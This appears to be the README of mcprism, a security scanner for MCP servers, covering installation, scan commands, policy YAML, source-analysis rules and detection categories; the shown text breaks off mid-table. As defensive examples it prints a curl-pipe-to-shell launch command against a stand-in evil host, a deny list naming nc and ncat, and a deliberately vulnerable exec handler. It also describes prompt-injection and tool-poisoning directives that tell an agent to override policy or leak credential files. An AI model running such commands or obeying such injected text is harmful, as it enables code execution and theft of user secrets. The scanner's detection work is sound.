English · 简体中文 · 日本語 · 한국어 · Français · Deutsch · Español · Русский · العربية · Website

mcprism logo # mcprism **Check MCP server security risks before connecting it to your AI.** An MCP server connects your AI to outside tools and data such as GitHub, files, and databases. Because it may run commands or read files, mcprism reviews its configuration and local source code and reports potential risks. Run `mcprism scan` to check servers already configured in your AI client, or `mcprism doctor` if discovery finds no servers. Use `mcprism vet ...` to review one before adding it. It also checks MCP servers bundled with plugins installed in the Codex and ChatGPT desktop apps. Optional live inspection lists tools without calling them; add `--read-content` to scan bounded prompt/resource text too. If you do not use MCP servers, you probably do not need mcprism yet. Prefer to review source in your editor? The [VS Code extension](editors/vscode/README.md) puts findings in the Problems panel, and the [JetBrains plugin](editors/jetbrains/README.md) shows them in a tool window. Both keep scans static. mcprism is a security scanner for [Model Context Protocol](https://modelcontextprotocol.io/) servers. It looks at a server from three angles: 1. **Configuration** — how a client launches or reaches it: pinned packages, cleartext transport, credentials in config, cloud metadata and private network targets. 2. **Source code** — when the implementation is on disk, it reads the JS/TS/Python/Go/Rust/Java/Kotlin/Swift/C# tool handlers and traces arguments an agent can control into language-supported dangerous sinks: process execution, outbound requests (SSRF) and filesystem paths, plus checks for hardcoded secrets. Eval and unsafe deserialization checks apply to languages with those sinks. 3. **Runtime** — it negotiates the current stateless MCP protocol or the legacy handshake, then lists tools, resources, parameterized resource templates and prompts and checks their metadata for poisoning. `--read-content` also requests bounded resource and prompt text. Neither mode calls tools. Every server gets a list of findings, a 0–100 score and an A–F grade. mcprism ships as one Go binary with no runtime dependencies. Local config and source scans run fully offline and have no side effects. `registry` commands explicitly contact the [official MCP Registry](https://registry.modelcontextprotocol.io/) for public metadata but never launch or connect to the listed server. Live probing is strictly opt-in (`--dynamic` / `--probe`). [![CI](https://github.com/HUA503/mcprism/actions/workflows/ci.yml/badge.svg)](https://github.com/HUA503/mcprism/actions/workflows/ci.yml) [![Release](https://img.shields.io/github/v/release/HUA503/mcprism?color=a6e3a1&label=release)](https://github.com/HUA503/mcprism/releases) [![Go Report Card](https://goreportcard.com/badge/github.com/HUA503/mcprism)](https://goreportcard.com/report/github.com/HUA503/mcprism) [![Go version](https://img.shields.io/badge/go-1.25-89b4fa?logo=go&logoColor=white)](https://go.dev) [![License](https://img.shields.io/github/license/HUA503/mcprism?color=cba6f7)](LICENSE)
---

mcprism checking safe and vulnerable MCP server configurations

mcprism interactive terminal UI

MCP connects your AI agent to outside servers for tools, files and data. The protocol is built into Claude Desktop and Claude Code, Cursor, VS Code, Windsurf and others, so a typical setup reaches several servers before long. Those servers run commands, read the filesystem and see your prompts. A malicious or over-privileged server can steal credentials, run commands, or steer the agent through the text it returns. mcprism gives you a per-server report and a score before you let an agent use them, the way you would run `trivy` against an image.

Before and after using mcprism

## First run in two lines ```sh curl -fsSL https://raw.githubusercontent.com/HUA503/mcprism/main/install.sh | sh mcprism demo ``` ```powershell # Windows PowerShell irm https://raw.githubusercontent.com/HUA503/mcprism/main/install.ps1 | iex mcprism demo ``` ### Try it without a configured MCP client The built-in demo is included in the binary, so you do not need a repository checkout or an MCP client. It scans one clean and several intentionally vulnerable examples. The scan runs offline, never reads your config, and never starts a server. Findings are expected and the demo exits successfully. Add `--source` to also scan bundled vulnerable Go, JavaScript and Python handlers. mcprism writes them to a temporary directory, analyzes them without running them, then removes the directory. ```sh mcprism demo mcprism demo --format html --output mcprism-demo.html mcprism demo --source ``` On Windows PowerShell, open the report with `Invoke-Item .\mcprism-demo.html`. To scan your configured MCP clients, run `mcprism scan`. To try live inspection of prompt/resource bodies, build and scan the bundled fixture from a source checkout. It returns fixed English and Chinese injection examples and never performs the actions described in its deliberately hostile text: ```sh mkdir -p bin && go build -o bin/testserver ./examples/testserver mcprism scan examples/dynamic.mcp.json --dynamic --read-content ``` On Windows PowerShell, use `New-Item -ItemType Directory -Force bin` and `go build -o bin/testserver.exe ./examples/testserver` before running the scan. To auto-discover only project configs from your current directory and its parents, run `mcprism scan --project-only`. To scan one AI client's discovered configs, run `mcprism doctor` to see its client name, then pass that name to `--client`: ```sh mcprism doctor mcprism scan --client claude-code ``` ### Block risky MCP configs in GitHub Actions If you maintain a project that includes an MCP config, add this step to an existing workflow to fail the build on high-risk findings: ```yaml - uses: HUA503/mcprism@v0.43.74 with: target: mcp.json fail-on: high ``` For SARIF upload, source-code scanning, and a complete workflow, see the [GitHub Actions example](#cicd). ## Vet one server in one line Check a launch command, URL, package or a checkout on disk without adding it to any config: ```sh mcprism vet -- npx -y some-mcp-server mcprism vet https://mcp.example.com mcprism vet npm:@scope/name mcprism vet ./path/to/server # review a source tree mcprism vet --repo https://github.com/owner/repo --ref main # public GitHub source mcprism vet server.py # review one file ``` `vet` and `scan` are static by default and do not run the target. Add `--probe` (vet) or `--dynamic` (scan) to launch it and enumerate its tools, resources and prompts. A source tree or file goes through the SAST engine below, with no network needed. `--repo` downloads a public GitHub source archive for static review; it never runs the downloaded code. Omit `--ref` to use the repository's default branch.

mcprism vet catching a curl|sh launch command

## VS Code Install the `mcprism` CLI and follow the [VS Code extension guide](editors/vscode/README.md) to install its VSIX. New CLI releases include the matching VSIX on the [GitHub Releases](https://github.com/HUA503/mcprism/releases) page; older releases can be packaged from source. Run **mcprism: Scan Workspace** from the Command Palette to review source findings in Problems. The extension performs a static scan and does not launch the MCP server. Its progress notification can cancel a long scan; findings from completed folders remain in Problems. ## JetBrains IDEs Install the mcprism CLI, then install the plugin ZIP from the [GitHub Releases](https://github.com/HUA503/mcprism/releases) page using **Settings/Preferences → Plugins → Install Plugin from Disk…**. Open the **mcprism** tool window or choose **Tools → mcprism: Scan Project** to review source findings and jump to their locations. See the [JetBrains plugin guide](editors/jetbrains/README.md) for requirements and CLI path setup. Scans are static and do not launch MCP servers. ## Contents - [Changelog](CHANGELOG.md) - [Attack surface writeup](docs/MCP-ATTACK-SURFACE.md) - [Launch kit](docs/LAUNCH-KIT.md) - [What it does](#what-it-does) - [When to use it](#when-to-use-it) - [Report](#report) - [Install](#install) - [Quick start](#quick-start) - [VS Code](#vs-code) - [JetBrains IDEs](#jetbrains-ides) - [Example output](#example-output) - [Policy as code](#policy-as-code) - [Source-code review (SAST)](#source-code-review-sast) - [What it detects](#what-it-detects) - [Output formats](#output-formats) - [Supported clients & transports](#supported-clients--transports) - [CI/CD](#cicd) - [How it works](#how-it-works) - [When mcprism fits](#when-mcprism-fits) - [FAQ](#faq) - [Community and support](#community-and-support) - [Roadmap](#roadmap) - [Contributing](#contributing) ## What it does - One binary. No Python or Node setup, no LLM API key, no account. - Static by default. It reads the config and reviews JS/TS/Python/Go/Rust/Kotlin/Swift/C# source, plus direct callback handlers in the official Java MCP SDK. Pass `--dynamic` to negotiate with current or legacy MCP servers and list tools, resources and prompts. It never calls a tool. - Schema-aware. For a live server you have no source for, a string parameter named like command, url or path that accepts any value is flagged as command, SSRF or path risk. Parameters constrained with enum, const or pattern are left alone. - Tool-poisoning checks. Deterministic offline signatures inspect tool and server instructions for common prompt-injection directives in English, Simplified and Traditional Chinese, Japanese, Korean, Spanish, French, German, Portuguese, Russian and Arabic. They cover high-signal directives such as policy overrides, hidden-prompt disclosure and credential exfiltration, including instructions to read common secret files such as `.env`, SSH keys or cloud credentials and disclose their contents, plus common Chinese-English technical phrasing. Matching also checks views with whitespace and invisible format characters removed, plus punctuation removal for Chinese signatures, to catch split phrases. The signatures flag known patterns; they do not understand every paraphrase or prove that metadata is safe. - Policy as code. Turn rules on/off, change severity, allow or deny packages, commands and domains, and require network isolation. Built-in profiles give you `default`, `strict` and `ci` baselines. - Accepted-risk register. Suppress findings with a reason and an expiry, or accept a whole `--baseline` report so only new problems fail the build. Suppressed items stay visible in the report, and expired ones come back. - MCP inventory locks. Save SHA-256 fingerprints for tools, resources, resource templates and prompts, then fail if definitions change. The lock keeps no raw descriptions, schemas or resource URIs. Saving and verifying connect to the server to enumerate capabilities; they never call tools. - Deterministic. 35 built-in rules map to OWASP MCP01–MCP07 where applicable. Config and source scans never touch the network; registry commands only fetch public metadata from the official registry. Live probing is opt-in and starts the server, so run it in a sandbox. Probing applies an egress guard (no redirects to cloud metadata or link-local addresses) and passes the spawned process a restricted environment instead of your full shell. - Reports for people and machines: table, JSON, Markdown, HTML, SARIF, JUnit XML, CycloneDX SBOM and CSV. - Scan several targets at once: files, directories (recursively), or URLs. ## When to use it - You installed MCP servers and want to know what they can reach before an agent runs them. Run `mcprism scan`. - A team shares a set of servers and wants one documented baseline. Keep a `policy.yml` in version control, and run `--profile strict` on production machines. - You review changes in CI. Run `mcprism scan --profile ci` to fail the build on high and above, or publish SARIF to code scanning. - You want to check a server before adding it to a client. Search the official MCP Registry, then scan one entry with `mcprism registry scan ` or audit matching entries together with `mcprism registry audit `. The batch audit applies your policy to supported metadata without starting servers. ## Report

mcprism HTML report for a live server

Batch review across many servers (static mode):

mcprism HTML report across many servers

## Install ```sh # One-line installer (Linux / macOS) curl -fsSL https://raw.githubusercontent.com/HUA503/mcprism/main/install.sh | sh # Pin a release instead of installing the latest one curl -fsSL https://raw.githubusercontent.com/HUA503/mcprism/main/install.sh | MC_PRISM_VERSION=v0.43.74 sh ``` ```powershell # Windows PowerShell irm https://raw.githubusercontent.com/HUA503/mcprism/main/install.ps1 | iex # Pin a release instead of installing the latest one $env:MC_PRISM_VERSION = "v0.43.74"; irm https://raw.githubusercontent.com/HUA503/mcprism/main/install.ps1 | iex # Clear the pin before a later install of the latest release in this session Remove-Item Env:MC_PRISM_VERSION ``` ```sh # Go go install github.com/HUA503/mcprism/cmd/mcprism@latest ``` Homebrew builds mcprism from source and keeps the formula current with each stable release: ```sh brew tap HUA503/mcprism https://github.com/HUA503/mcprism brew install HUA503/mcprism/mcprism ``` The Windows installer verifies the release SHA-256 checksum and adds the per-user install directory to PATH. You can also download a binary from the [releases](https://github.com/HUA503/mcprism/releases) page (Linux/macOS/Windows, amd64 and arm64, plus Linux ARMv7), or install it with [Scoop](https://scoop.sh): ```powershell scoop bucket add mcprism https://github.com/HUA503/mcprism scoop install mcprism/mcprism ``` You can also install from the Windows community repository with WinGet: ```powershell winget install --id HUA503.mcprism --exact ``` WinGet updates require community manifest review, so its catalog version may lag behind the latest GitHub release. Use the PowerShell installer above when you need the newest release immediately. Both installer scripts accept `MC_PRISM_VERSION` to install a specific release (with or without the leading `v`); leave it unset or set it to `latest` to use the latest release. The selected release's checksum is verified before install. Temporary download failures are retried up to three times. For restricted networks, set `MC_PRISM_RELEASE_BASE` to a trusted HTTPS directory containing that release's archive and `checksums.txt`. When pinning `MC_PRISM_VERSION`, the mirror directory must match the pinned version; for an unpinned install, point it at the mirror's latest-release directory. The npm launcher accepts the same variable, pointed at the directory matching its package version. The checksum is read from that mirror too. On Linux and macOS, the installer uses `~/.local/bin` when `/usr/local/bin` is not writable. If it reports that the directory is not on PATH, add that directory to PATH or run `~/.local/bin/mcprism scan` directly. With Nix flakes, install the latest package from `main` on Linux or macOS (x86_64 and aarch64): ```sh nix profile install github:HUA503/mcprism nix run github:HUA503/mcprism -- scan ``` The release workflow updates the Scoop and WinGet manifests in this repository for each stable release. WinGet catalog updates still require submission to the community repository and moderator review. Homebrew builds from the tagged source and updates its formula during the release flow. The Nix flake builds from the selected source revision with a locked nixpkgs input and a fixed Go dependency hash. ### Uninstall Use the same package manager to remove mcprism: ```sh brew uninstall HUA503/mcprism/mcprism scoop uninstall mcprism npm uninstall --global mcprism ``` For a Nix profile install, run `nix profile list`, then remove the mcprism entry using its listed index: `nix profile remove `. If you used the release installer, remove the binary it installed: `~/.local/bin/mcprism` or `/usr/local/bin/mcprism` on Linux/macOS. On Windows PowerShell, remove `$env:LOCALAPPDATA\Programs\mcprism\mcprism.exe`; you can also remove that directory from your user PATH. For `go install`, remove the binary from your Go bin directory (`go env GOBIN`, or `$(go env GOPATH)/bin` when GOBIN is empty). Uninstalling the optional npm launcher does not clear its downloaded binary cache; remove `~/.cache/mcprism/npm` on Linux, `~/Library/Caches/mcprism/npm` on macOS, or `%LOCALAPPDATA%\mcprism\npm` on Windows if you no longer need it. ### Optional npm launcher (Node.js 18.19+) The npm package can lag behind the latest GitHub release. Check its version with `npm view mcprism version` before choosing this installation method. The published npm version 0.43.62 rejects valid `--fail-on` severity values. For severity gates, use a native release or GitHub Action at v0.43.70 or later until an npm version containing the fix is available. Try mcprism without a global install, or install the command once: ```sh npx mcprism@latest demo npm install --global mcprism mcprism scan ``` The npm package is a small launcher. On first use it downloads the matching native binary from the GitHub release, verifies its SHA-256 checksum and caches it for later runs. No npm dependencies or install scripts are used. It is published only on explicit request; standard mcprism releases do not publish npm. Release archives from v0.43.33 onward include verifiable build provenance. To verify a downloaded archive (in addition to the installer's SHA-256 check), install the GitHub CLI and run: ```sh gh attestation verify mcprism_linux_amd64.tar.gz \ --repo HUA503/mcprism \ --signer-workflow HUA503/mcprism/.github/workflows/release.yml ``` Replace the filename with the archive for your platform. See [SECURITY.md](SECURITY.md) for details. Releases that include `mcprism.intoto.jsonl` also let you verify against the downloaded bundle directly by adding `--bundle mcprism.intoto.jsonl` to the command above. ## Quick start ```sh # Auto-discover configs for Amp, LibreChat, Mistral Vibe, Kilo Code, Kimi Code, Kimi CLI, Factory Droid, Visual Studio, Claude, Codex, Antigravity, Qwen Code, Kiro, Trae, Amazon Q, GitHub Copilot CLI, Goose, Zed, Gemini CLI, OpenClaw, Hermes Agent, OpenCode, Jan, Warp, and Cherry Studio exports mcprism scan # See which MCP configs auto-discovery can find mcprism doctor # Continue with readable configs if another discovered config is malformed mcprism scan --allow-incomplete-discovery # Emit the same discovery inventory as JSON for scripts and editors mcprism doctor --format json # A specific config file mcprism scan ~/.claude.json mcprism scan ~/.codex/config.toml # A directory, searched recursively mcprism scan ./configs # A remote server mcprism scan https://mcp.example.com/v1 # Several targets together mcprism scan a.json b.json ./configs # Static by default: no process is spawned, no connection is made mcprism scan mcp.json # Probe live servers (starts the process; run in a sandbox) mcprism scan mcp.json --dynamic # Also request bounded prompt/resource text and scan it for injection mcprism scan mcp.json --dynamic --read-content # Enforce a profile or a custom policy mcprism scan --profile strict mcprism scan --policy policy.yml --suppressions suppressions.yml # Accept existing findings and fail only on new ones (incremental rollout) mcprism scan mcp.json -f json -o baseline.json mcprism scan mcp.json --baseline baseline.json # Interactive terminal UI mcprism scan -i # Vet a launch command / URL / package without writing a config mcprism vet -- npx -y some-mcp-server mcprism vet "uvx some-mcp-server" mcprism vet https://mcp.example.com mcprism vet npm:@scope/name mcprism vet --probe -- npx -y some-mcp-server # actually run it and list tools mcprism vet --probe --read-content -- npx -y some-mcp-server # Search and statically scan one server from the official MCP Registry mcprism registry search filesystem mcprism registry search filesystem --all --limit 100 # follow all result pages mcprism registry scan io.github.user/server-name # Batch-audit up to 20 matching entries with one combined report mcprism registry audit filesystem --all --limit 100 --require-complete --format sarif --output registry.sarif # Reference mcprism inspect mcp.json # list a server's tools/resources/prompts mcprism inspect mcp.json --read-content # also inspect bounded prompt/resource text mcprism rules # list built-in rules mcprism rules --format json # export rule IDs, categories and default severities mcprism profiles # list built-in profiles mcprism profiles --format json # export profile names and descriptions # Lock one reviewed server's MCP definitions and detect later drift mcprism inventory save one-server.json --output server.mcp.lock.json mcprism inventory verify one-server.json --baseline server.mcp.lock.json ``` `doctor --format json` reports the project path, whether global client configs were included, and each discovered config's client, scope, server count, and path. Both table and JSON warnings identify discovered configs that could not be parsed without echoing parser excerpts or config contents. `doctor` exits successfully when discovery finishes even if warnings exist; scripts should inspect the JSON `warnings` array rather than use its exit code as a completeness gate. It does not launch servers or connect to URLs. `mcprism doctor --require-complete` also exits nonzero if discovery reports warnings, while still printing the requested diagnostics (available since v0.43.74). An empty discovery with no warnings still exits successfully; check `serverCount` in JSON if your automation also requires at least one server. An automatic `scan` stops without writing an audit report if any discovered MCP config cannot be parsed, so a partial discovery cannot look like a clean result. Run `mcprism doctor` to see which file needs attention. To audit the readable configs while you fix it, pass `--allow-incomplete-discovery`; mcprism still exits non-zero and prints the parse warnings. When asking for help, review diagnostic output before sharing it. Auto-discovery and doctor warnings omit parser excerpts, but explicit target parse errors and all doctor formats can include private file paths. Remove credentials and sensitive paths from the output before sharing it. By default, Registry batch audit checks one page (up to 100 results). Add `--all` to follow pagination and audit every matching entry. `--require-complete` also fails if an entry cannot be audited; review stderr warnings because they may not appear in the exported report. Add `--require-complete` in CI to exit with code 2 when more matches exist or a configuration is skipped. The report is still written when possible; a policy failure retains exit code 1. ### Shell completion `mcprism completion` generates scripts for Bash, Zsh, Fish and PowerShell. Run the command for your shell: - Bash or Zsh: `source <(mcprism completion bash)` / `source <(mcprism completion zsh)` - Fish: `mcprism completion fish | source` - PowerShell: `mcprism completion powershell | Out-String | Invoke-Expression` Add the command to your shell profile to enable completion in new sessions. ### Flags | Flag | Description | |---|---| | `-f, --format` | `table` (default) · `json` · `sarif` · `md` · `html` · `junit` · `cyclonedx` · `csv` | | `-o, --output` | Write the report to a file | | `-p, --policy` | Path to a policy YAML file | | `--profile` | Built-in profile: `default` · `strict` · `ci` | | `--suppressions` | Path to a suppressions YAML file | | `--fail-on` | Fail the audit on active findings at or above `critical` / `high` / `medium` / `low` | | `--fail-on-coverage-warning` | Fail when source analysis reports incomplete coverage because files or helpers were skipped | | `--timeout` | Per-server handshake timeout (default `10s`) | | `--client` (`scan`) | Auto-discover one client only. Use `mcprism doctor` to list client names; this flag cannot be combined with explicit targets. | | `--allow-empty` (`scan`) | Succeed when explicit targets contain no servers; parse errors still fail. Severity gates are supported; report output and other audit options require a server. | | `--project-only` (`scan`) | Auto-discover project configs and skip known global client paths, including matching files in ancestor folders. Use `--project DIR` to start discovery from another directory. | | `--allow-incomplete-discovery` (`scan`) | Continue auditing readable configs after an auto-discovery access or parse error; prints warnings and exits 1 to mark the result incomplete. | | `-i, --interactive` | Browse findings in a TUI | | `--transport` | Force `http` (Streamable HTTP) or `sse` (legacy) for URLs | | `--dynamic` (`scan`) | Probe live servers: launch/connect and enumerate tools, resources, resource templates and prompts. Starts the target process, which may run code or reach the network; run it in a sandbox | | `--probe` (`vet`) | Launch/connect and enumerate tools; runs the target, prefer a sandbox | | `--read-content` | With `scan --dynamic`, `vet --probe`, or `inspect`, request text from up to 10 resources and 10 prompts (1 MiB total) and scan it for prompt injection. Required-argument prompts are skipped. This does not call tools; raw content is not included in reports. | | `--inherit-env` | When spawning a server for probing, pass through the full parent environment. Default is a small safe allowlist, so credentials in your shell are not handed to an untrusted server | | `--no-color` | Disable ANSI colors in the terminal report | | `--ascii` | Use ASCII-only glyphs in the terminal (auto-enabled for legacy Windows consoles and `TERM=dumb`; honors `NO_COLOR`) | `--read-content` is opt-in because `resources/read` and `prompts/get` invoke server handlers and may expose data the server chooses to return. Use it only with a trusted target, preferably in a sandbox. The scanner does not save retrieved text in its report; matched evidence may appear when a rule fires. For batch `scan` and `vet` runs, use the exit code to distinguish audit results from command errors. | Exit code | Meaning | |---|---| | `0` | Audit completed and passed the configured gates. | | `1` | A policy or configured gate failed, or auto-discovery found an MCP config it could not parse. Discovery failures stop before a report is written. | | `2` | The command failed, for example due to an invalid flag, a malformed config file in an explicit directory scan, or a report write error. | ## Example output Scanning two local servers in static mode: ```text ◆ mcprism v0.43.74 · 2026-12-03 ──────────────────────────────────────────────── A notes ◌ static only npx -y @acme/notes-mcp@2.0.1 capabilities: none ✓ No issues detected F shell ◌ static only bash -c curl -s https://evil.example/x | sh capabilities: SHELL · NET CRIT MCP104 Remote code fetched and executed by shell CRIT MCP301 Command execution combined with network access ──────────────────────────────────────────────── 2 servers · 2 findings 2 CRIT 0 HIGH 0 MED 0 LOW ``` The HTML and SARIF forms add evidence, advice and the OWASP mapping. SARIF also includes rule help and OWASP MCP tags for filtering findings in GitHub code scanning. ## Policy as code A policy file is a versioned YAML document. It sets the pass/fail conditions, overrides individual rules, lists allowed and denied packages/commands/domains, and can require that servers with file or shell access have no network egress. ```yaml version: "1" fail: on: high grade: B score: 70 rules: MCP106: severity: high customRules: - id: CUSTOM-TEAM-001 title: Legacy server is blocked severity: high field: server.target pattern: '(?i)legacy-mcp-server' description: The team has retired this server. advice: Replace it with the approved package. allow: packages: ["@modelcontextprotocol/*"] deny: commands: [nc, ncat] domains: ["*.ngrok.io"] capabilities: requireNetworkIsolation: true ``` A deny match is reported as `MCP700`; a file/shell server with network access under isolation is reported as `MCP701`. See [`examples/policy.yml`](examples/policy.yml), [`examples/suppressions.yml`](examples/suppressions.yml) and the [policy guide](docs/POLICIES.md). For compliance gates and machine output, see [docs/COMPLIANCE.md](docs/COMPLIANCE.md). `customRules` adds organization-specific regex checks over server settings, collected metadata and built-in findings. Reports identify the matched field and location without copying matched text that could contain sensitive data. ## Source-code review (SAST) Configuration says how a server is launched, not what a handler does with an argument. A server that looks fine in config can still pass a tool parameter straight to a shell, use it as a request URL, or open a path built from it. Those bugs are in the implementation, so mcprism reads the code. Point `vet` at a checkout or a single file. It needs no build step, no dependencies installed and no network: ```sh mcprism vet ./mcp-server mcprism vet ./mcp-server/src/tool.ts ``` It recognizes the common SDKs and frameworks: - JavaScript/TypeScript: `McpServer` from `@modelcontextprotocol/server` (SDK v2) or `@modelcontextprotocol/sdk` (SDK v1), with `registerTool(...)` and legacy `.tool(...)` registrations, the low-level `Server.setRequestHandler`, concise or block-bodied callbacks, and stable same-file handlers passed by name and handlers reached through explicit namespace imports. - Python: the `FastMCP` `@mcp.tool()` decorator and the low-level `call_tool` handler. - Go: mcp-go `server.AddTool` / `mcp.AddTool` inline callbacks, directly named handlers, method values, and simple local aliases or function literals assigned before registration. Directory scans can also resolve exported handlers from local packages inside the scanned tree; handlers must use `context.Context` and `mcp.CallToolRequest`. - Rust: `#[tool]` methods from the official `rmcp` SDK. - Java: explicit `.callHandler(...)` and `.toolCall(...)` lambda handlers from the official Java SDK, plus Spring AI `@McpTool` methods; Java analysis follows direct flows and arguments passed to uniquely resolved same-file and cross-file helpers when the receiver type is explicit. For each tool it treats handler arguments as attacker-controlled data. JS/TS, Python, Go and Rust analysis follows simple local aliases and arguments passed to unambiguous helpers in the same file. Rust recognizes unique helper function names, including multi-step call chains. Go sink checks also recognize explicit aliases for standard-library process, HTTP, network and filesystem packages. Findings name the file and line, show the code, and say how to fix it: | Rule | Sink | Default | |---|---|---| | MCP801 | Tool input reaches a process/command sink (`exec`, `spawn`, `os.system`, `subprocess shell=True`, Swift `Process`) | critical | | MCP802 | Tool input controls an outbound network target (`fetch`, `requests`, `httpx`, `socket`, `net`, `tls`, `URLSession`, `TcpStream`) — SSRF | high | | MCP803 | Tool input used as a filesystem path without confinement | high | | MCP804 | Dynamic code execution (`eval`, `Function`, `exec`) | high | | MCP805 | Unsafe deserialization (`pickle`, `marshal`, `yaml.load`) | high | | MCP806 | Hardcoded credential in the source | high | | MCP807 | Dynamic module `require`/import whose name comes from tool input | medium | It recognizes the usual safe patterns and stays quiet when they are present, to keep false positives down: - A fixed command with arguments passed as an array (`execFile(cmd, args)`, `subprocess.run([...])`) instead of a shell string. - Path confinement: `path.resolve(base, name)` checked against `base + path.sep`, or `realpath` + `startswith(base + os.sep)` in Python. - A constant base URL instead of an agent-chosen host, plus `yaml.safe_load` / `SafeLoader`. - In Go, `exec.Command` with constant args and no shell, a constant URL, and `filepath.Join` checked against `base + string(filepath.Separator)`. This handler is flagged MCP801 because the agent controls the command: ```js server.tool("run", { command: z.string() }, async ({ command }) => { exec(command, (err, stdout) => callback(stdout)); }); ``` The fixed version uses an allow-list and never runs a shell: ```js const ALLOWED = { status: ["git", "status"], log: ["git", "log", "-5"] }; server.tool("git", { name: z.string() }, async ({ name }) => { const spec = ALLOWED[name]; if (!spec) throw new Error("not allowed"); const [cmd, ...args] = spec; return execFile(cmd, args); }); ``` - The engine uses pattern matching and no third-party parser, keeping the binary small and self-contained. JS/TS, Python and Go taint tracking follows local aliases and arguments passed through unambiguous helper functions. Go also follows unique free functions and methods with inferable receiver types across files in the same package, plus exported helpers imported from local packages in the scanned Go module (up to eight package hops, 64 files and 16 MiB per entry). For recognized MCP tool handlers, the `CallToolRequest` is treated as untrusted when passed to a resolved helper, so argument extraction inside that helper can still be traced to a sink. JS/TS recognizes function declarations and block-bodied or concise expression- bodied arrow helpers. JS/TS follows named, namespace and default ES imports (including default-plus-named imports), static CommonJS `require()` calls and direct named calls through a module object for exported helpers and their helper chains across relative modules inside the scan root, within bounded depth, file count and source size. Direct `compilerOptions.paths` mappings from the root `tsconfig.json` are followed; inherited or nested tsconfig files are not loaded. For JS/TS, taint also follows a helper's simple explicit return expressions when its result is assigned directly to a local variable; multiple simple return paths are summarized when every return expression is understood. Nested functions and unsupported expressions remain unsupported. For these helpers, only arguments that reach a returned value stay tainted, so a static allow-list lookup does not inherit taint from its key. Single-file scans use the file's parent directory as the root. Python follows explicitly imported helpers and their helper chains across same-directory modules and relative imports within marked parent packages, within bounded depth, file count and source size. Swift follows uniquely named same-file helpers from official `CallTool` handlers up to eight calls deep. Directory scans also follow unique top-level helpers inside one Swift Package Manager target, within file and source-size limits. JS/TS, Python and Go also track taint through simple statically named fields; Python and Go support literal dictionary/map keys. Python tracks direct helper-call assignments when a helper has one simple return expression, so static allow-list results do not inherit taint from the lookup key. Multiple returns or unsupported call shapes use a conservative fallback. Go checks direct helper-call assignments when the helper body is one simple return statement; multi-result calls track taint by result position, while complex helpers retain conservative tracking. Simple tuple/list unpacking assignments, including Python `*rest` targets and Go `var` declarations, are supported. Rust tracking follows local aliases inside recognized `rmcp #[tool]` methods, same-file helpers, and explicitly imported (including grouped imports) or directly qualified, uniquely named free functions in the same Cargo package during a source-tree scan. Be aware of the known limits; a clean report is not proof of safety: - Cross-file taint tracking is limited to Go same-package free functions, inferable methods, and exported free functions in local module packages; explicitly imported Python/JS/TS helpers; and Rust free functions imported or called with direct `crate`, `self` or `super` paths from the same Cargo package, when the function name is unique. Rust helper traversal is bounded and excludes test/example/bench and `src/bin` trees. Go follows methods on explicitly known types from local module imports; opaque or ambiguous receivers remain unresolved. Python and JS/TS module traversal is bounded. The engine does not model arbitrary object graphs, general returned values, dynamic dispatch, anonymous JS/TS default exports, computed module-object calls, or npm package imports. Sink matching is pattern-based, so unusual formatting and generated code can still be missed or misclassified. - Source scans stop at 2 MiB per file, 64 MiB of supported source per tree, or 12 directory levels. Cross-file helper analysis also emits coverage warnings when its language-specific depth, file-count or byte limit is reached. Skipped files, directories, empty supported-source scans and filesystem errors appear in the report; check warnings before treating a clean result as complete. - Go uses the standard-library `go/parser` to locate helper function boundaries and recognize inline, directly named, or uniquely resolved method-value mcp-go callbacks; it does not build a full-program data-flow graph. JS/Python do not use tree-sitter. - Prompt-injection signatures include high-signal Chinese and Traditional Chinese variants for instruction overrides, hidden-context disclosure, and credential or conversation-history transfer. Matching remains lexical and cannot reliably identify every semantic paraphrase. - Rust analysis recognizes the official `rmcp` `#[tool]` macro and common process, `reqwest`, `TcpStream` network, filesystem and secret patterns, including direct and grouped `use` aliases for `std::process::Command` and `std::fs::File`. It follows uniquely named same-file helpers and explicitly imported helpers during Cargo directory scans, but does not expand macros or resolve trait dispatch. - JavaScript/TypeScript, Python, Go and Rust receive their documented source analysis. Java currently covers explicit SDK callback lambdas, Spring AI `@McpTool` methods, same-file helpers and typed direct calls across Java files. It does not resolve reflection, interface dispatch or arbitrary bean wiring. Other languages get config- and metadata-level checks only. For assurance on a high-risk server, pair mcprism with a full data-flow analyzer and manual review. Rule details and more examples are in [docs/SAST.md](docs/SAST.md).

mcprism source-code review findings

## What it detects - Secrets in config. Recognized credential formats (AWS, Google, GitHub, Slack, Stripe, GitLab, OpenAI, JWT and more) are flagged by type, and high-entropy values that look like generated keys are flagged as suspected secrets. Placeholders and `${ENV_VAR}` references are not flagged. - Cleartext transport and disabled TLS (`http://`, `NODE_TLS_REJECT_UNAUTHORIZED=0`). - Over-broad permissions. Filesystem servers mounted at `/` or the home directory; sandbox or permission checks turned off. - Tool poisoning. High-signal English, Simplified/Traditional Chinese, Japanese, Korean, Spanish, French, German, Portuguese, Russian and Arabic injection phrases (coverage varies by language), including mixed Chinese-English technical directives, plus zero-width/bidirectional Unicode, Unicode Tags and Cyrillic/Greek homoglyphs (normalized with NFKC before matching), hidden HTML/Markdown and encoded blobs in tool names, descriptions and schemas. Plain instructional text is not flagged; directive language is only reported when combined with hidden or confusable characters. The same checks cover resource and prompt-template metadata. - Free-form schema parameters. A live server with no source available is checked by parameter name for command, URL (SSRF) and path risk when the parameter accepts any string. Common Simplified and Traditional Chinese descriptions and parameter names are recognized alongside English. - Dangerous capability combinations, such as shell plus network, file read plus network, or file write plus shell. - Network targets. Cloud metadata endpoints (`169.254.169.254`) and private/loopback ranges. - Supply-chain risk: unpinned packages, typosquat look-alikes, and code run straight from a remote URL. - Policy violations: denied packages/commands/domains and broken network isolation. - Source-code flaws: supported handlers are checked for command, network and file risks, with dynamic-code and deserialization checks where applicable. Swift recognizes official SDK `CallTool` handlers and checks process, URLSession and filesystem flows. Rust `rmcp #[tool]` handlers are checked for process, `reqwest` URL, `TcpStream` destination, filesystem and hardcoded-secret risks. C# directory scans follow uniquely resolved helpers across files when calls use a concrete type or a receiver with a known concrete type. Kotlin directory scans follow explicitly imported, uniquely resolved top-level helpers and extension helpers when their receiver or arguments are tainted. See [Source-code review](#source-code-review-sast). - Cross-server tool name collisions, and classified connectivity failures (DNS / TLS / refused / timeout / command not found). The full list with the OWASP crosswalk is in [docs/RULES.md](docs/RULES.md). ## Output formats | Format | Typical use | |---|---| | `table` | Terminal output | | `json` | Custom tooling | | `sarif` | GitHub code scanning | | `md` | Markdown reports / tickets | | `html` | Shareable standalone report | | `junit` | Jenkins, GitLab and GitHub test reports | | `cyclonedx` | SBOM / vulnerability ingestion | | `csv` | 